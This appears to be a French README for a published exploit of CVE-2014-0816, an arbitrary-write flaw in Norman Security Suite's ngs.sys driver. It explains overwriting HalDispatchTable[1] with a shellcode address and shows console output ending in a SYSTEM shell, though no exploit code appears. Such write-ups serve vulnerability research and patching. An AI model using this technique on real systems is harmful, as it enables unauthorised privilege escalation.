tandasat/cve-2014-0816CVE-2014-0816
Ceci est un exploit pour CVE-2014-0816 (JVNDB-2014-000026 : Norman Security Suite vulnérable à une escalade de privilèges).
Cet exploit lance CMD.exe avec les privilèges SYSTEM à partir d'un compte non administrateur en exploitant la vulnérabilité dans un gestionnaire IOCTL de ngs.sys / ngs64.sys.
C:\Users\user\Desktop> exploit_ngs.exe
[*] Exploit Norman General Security Driver (ngs.sys / ngs64.sys)
[*] Target file version: ver 5.0.740.0.
[*] An address file was created at C:\Users\user\Desktop\address.bin.
[*] Shellcode is located at 000000013F9357D0.
[*] The device was opened as 0000000000000044.
[*] The address file was opened as FFFFFFFF80000558.
[+] HalDispatchTable[1] is located at FFFFF800033FDC68.
[+] HalDispatchTable[1] was altered.
[+] Shellcode was executed.
[+] The SYSTEM shell was launched.
[*] Press any key to finish this program.
Ensuite, vous verrez une nouvelle console.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\user\Desktop>whoami
nt authority\system
La vulnérabilité permet à un attaquant d'écraser une adresse arbitraire avec une valeur arbitraire, donc cet exploit modifie la valeur de HalDispatchTable[1] avec une adresse de shellcode qui élève les privilèges du processus actuel aux privilèges SYSTEM.
Cette vulnérabilité sera exploitable sur toutes les plateformes de Windows XP à 8, à la fois x86 et x64, mais cet exploit est conçu et testé sur certaines plateformes (par exemple, il ne fonctionnera pas sur Windows 8 à cause de SMEP).
Ce logiciel est publié sous licence MIT, voir LICENSE.